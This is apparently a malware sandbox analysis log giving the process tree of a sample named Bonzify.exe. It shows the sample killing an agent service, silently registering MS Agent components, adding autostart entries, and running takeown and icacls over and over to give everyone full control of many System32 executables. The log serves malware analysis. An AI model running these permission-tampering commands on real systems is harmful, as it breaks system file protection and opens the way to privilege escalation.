C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7464,i,5890951302310777764,5778826150458642167,524288 --field-trial-handle=2840,i,706682298855527305,3590341857506402528,262144 --variations-seed-version --mojo-platform-channel-handle=8812 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Bonzify\Readme.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Users\Admin\Desktop\Bonzify\Bonzify.exe"C:\Users\Admin\Desktop\Bonzify\Bonzify.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KillAgent.bat"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im AgentSvr.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\takeown.exetakeown /r /d y /f C:\Windows\MsAgent3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\MsAgent /c /t /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Users\Admin\AppData\Local\Temp\INSTALLER.exeINSTALLER.exe /q2⤵
- Boot or Logon Autostart Execution: Active Setup
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentCtl.dll"3⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentDPv.dll"3⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\mslwvtts.dll"3⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentDP2.dll"3⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentMPx.dll"3⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentSR.dll"3⤵
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentPsh.dll"3⤵
- Loads dropped DLL
-
-
C:\Windows\msagent\AgentSvr.exe"C:\Windows\msagent\AgentSvr.exe" /regserver3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\grpconv.exegrpconv.exe -o3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\dtdump.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\dtdump.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\dtdump.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\dvdplay.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\dvdplay.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\dvdplay.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\DWWIN.EXE"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\DWWIN.EXE"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\DWWIN.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\dxdiag.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\dxdiag.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\dxdiag.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\EaseOfAccessDialog.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\EaseOfAccessDialog.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\EaseOfAccessDialog.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\edpnotify.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\edpnotify.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\edpnotify.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\efsui.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\efsui.exe"3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\efsui.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\EhStorAuthn.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\EhStorAuthn.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\EhStorAuthn.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Users\Admin\AppData\Local\Temp\INSTALLER.exeINSTALLER.exe /q2⤵
- Boot or Logon Autostart Execution: Active Setup
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s C:\Windows\lhsp\tv\tv_enua.dll3⤵
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s C:\Windows\lhsp\tv\tvenuax.dll3⤵
- Loads dropped DLL
- Modifies registry class
-
-
C:\Windows\SysWOW64\grpconv.exegrpconv.exe -o3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\esentutl.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\esentutl.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\esentutl.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\eudcedit.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\eudcedit.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\eudcedit.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\eventcreate.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\eventcreate.exe"3⤵
- Possible privilege escalation attempt
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\eventcreate.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\eventvwr.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\eventvwr.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\expand.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\expand.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\expand.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\explorer.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\explorer.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\explorer.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\extrac32.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\extrac32.exe"3⤵
- Possible privilege escalation attempt
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\extrac32.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\F12\IEChooser.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\F12\IEChooser.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\F12\IEChooser.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\fc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\fc.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\fc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\find.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\find.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\find.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\findstr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\findstr.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\findstr.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\finger.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\finger.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\finger.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\fixmapi.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\fixmapi.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\fixmapi.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\fltMC.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\fltMC.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\fltMC.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Fondue.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Fondue.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Fondue.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\fontdrvhost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\fontdrvhost.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\fontdrvhost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\fontview.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\fontview.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\fontview.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\forfiles.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\forfiles.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\forfiles.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\fsquirt.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\fsquirt.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\fsquirt.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\fsutil.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\fsutil.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\fsutil.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ftp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ftp.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ftp.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\GameBarPresenceWriter.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\GameBarPresenceWriter.exe"3⤵
- Possible privilege escalation attempt
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\GameBarPresenceWriter.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\GamePanel.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\GamePanel.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\GamePanel.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\getmac.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\getmac.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\getmac.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\gpresult.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\gpresult.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\gpresult.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\gpscript.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\gpscript.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\gpscript.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\gpupdate.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\gpupdate.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\gpupdate.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\grpconv.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\grpconv.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\grpconv.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\hdwwiz.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\hdwwiz.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\hdwwiz.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\help.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\help.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\help.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\hh.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\hh.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\hh.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\HOSTNAME.EXE"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\HOSTNAME.EXE"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\HOSTNAME.EXE" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\icacls.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\icacls.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\icacls.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\icsunattend.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\icsunattend.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\icsunattend.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ieUnatt.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ieUnatt.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ieUnatt.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\iexpress.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\iexpress.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\iexpress.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE" /grant "everyone":(f)3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\IMEJP\IMJPSET.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\IMEJP\IMJPSET.EXE"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\IMEJP\IMJPSET.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\IMEJP\IMJPUEX.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\IMEJP\IMJPUEX.EXE"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\IMEJP\IMJPUEX.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\IMEJP\imjpuexc.exe"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\IMEJP\imjpuexc.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\IMEJP\imjpuexc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\IMETC\IMTCLNWZ.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\IMETC\IMTCLNWZ.EXE"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\IMETC\IMTCLNWZ.EXE" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\IMETC\IMTCPROP.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\IMETC\IMTCPROP.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\IMETC\IMTCPROP.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\SHARED\IMCCPHR.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\SHARED\IMCCPHR.exe"3⤵
